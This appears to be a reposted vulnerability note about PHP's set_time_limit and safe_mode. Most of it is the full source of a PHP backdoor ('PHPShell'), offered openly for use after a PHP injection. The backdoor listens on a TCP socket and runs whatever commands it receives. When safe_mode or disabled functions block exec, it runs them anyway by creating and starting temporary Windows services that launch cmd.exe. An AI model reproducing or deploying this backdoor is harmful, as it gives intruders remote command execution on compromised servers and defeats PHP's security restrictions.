본문 바로가기

Securities/SecurityFocus Vulnerabilities

PHP -> set_time_limit

when safe_mode = on, set_time_limit is "off", then we can use

ini_set("max_execution_time", 90000000);

suppose the server is vulnerable PHP injection, then an attacker make a backdoor in PHP and register it in SCM of windows with win32service extension.

the backdoor need wait for connections, if safe_mode = on, then it can use ini_set("max_execution_time", quantity) instead set_time_limit(0), because safe_mode block this.

example of backdoor that use this technique:

<?php

//script for low versions of PHP

//PHPShell by branco

//contact by brancohat gmail.com

//gratz : magrinho_loko, ne0h, mental_way, dr4k0 e aos que esqueci

ini_set("max_execution_time", 90000000);

set_time_limit(0);

define("NEW_LINE", "\n\r");

define("CMD_DIR", 'c:\\windows\\system32\\cmd.exe');

Class Backdoor

{

var $exec;

var $result;

// PHP bypass with win32service, technique of NetJackal

function execCommand($cmd) {

$dir=ini_get('upload_tmp_dir');

$n=uniqid('NJ');

$name=$dir."\\log";

$cmd_local=(empty($_SERVER['ComSpec']))?

CMD_DIR :$_SERVER ['ComSpec'];

win32_create_service(array('service'=>$n,'display'=>$n,

'path'=>$cmd_local,'params'=>"/c $cmd >\"$name\""));

win32_start_service($n);

win32_stop_service($n);

win32_delete_service($n);

$content=file_get_contents($name);

unlink($name);

return $content;

}

function execConfig() {

$safe_mode = ini_get("safe_mode");

$disable_functions = ini_get("disable_functions");

// se for possivel utiliza a funcao exec

if ($safe_mode == 0 && (eregi("exec", $disable_functions) === false) ) {

$this->exec = "exec";

}

//se nao tenta burlar safe_mode e/ou disable_functions, caso a extensao win32service esteja habilitada

else {

if (extension_loaded('win32service')) {

$this->exec = "execCommand";

}

else {

$this->exec = "impossivel";

}

}

}

function errCatch() {

exit(socket_strerror(socket_last_error()) . socket_last_error());

}

function listen() {

$socket;

$socket_stream;

$input_socket;

$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP) or $this->errCatch();

socket_bind($socket,'127.0.0.1', 666) or $this->errCatch();

socket_listen($socket, 5) or $this->errCatch();

do {

$socket_stream = socket_accept($socket);

if ($socket_stream === false) {

continue 1;

}

// so passa caso alguem se conecte, ai vem a mensagem de boas vindas

$msg = NEW_LINE . "Bem vindo ao backdoor PHPShell" . NEW_LINE . "Para sair, escreva 'quit'. Para desligar o backdoor, digite 'shutdown'". NEW_LINE;

socket_write($socket_stream, $msg, strlen($msg));

// aqui trata a sessao

do {

$input_socket = socket_read($socket_stream,1000,PHP_NORMAL_READ) or

$this->errCatch();

$input_socket = trim($input_socket);

if (empty($input_socket)) {

continue 1; # goto sessao

}

switch ($input_socket) {

case "quit":

socket_close($socket_stream);

break 2; # goto sessao

case "shutdown":

socket_close($socket_stream);

socket_close($socket);

break 3; # goto termina

}

// caso os comandos nao sejam quit nem shutdown

if ($this->exec == "execCommand") {

$this->result = $this->execCommand($input_socket);

}

if ($this->exec == "exec") {

$output = "";

$result_complete = "";

$value = "";

exec($input_socket, $output);

foreach ($output as $value) {

$result_complete .= "$value" . NEW_LINE;

}

$this->result = $result_complete;

}

if ($this->exec == "impossivel") {

$this->result = NEW_LINE . "Nao foi possivel executar comandos, safe_mode=on e extensao win32service desabilitada, caso conheca outro modo de burlar safe_mode, edite o backdoor" . NEW_LINE;

}

if ($this->result) { // pra caso result esteja vazio o socket nao gerar erro e fexar sessao

socket_write($socket_stream,$this->result, strlen($this->result)) or

$this->errCatch();

}

} while(true);

#sessao

} while(true);

#termina

}

function Backdoor() {

$this->exec = "";

$this->result = "";

$this->execConfig();

socket_clear_error();

$this->listen();

}

}

$backdoor = new Backdoor();

?>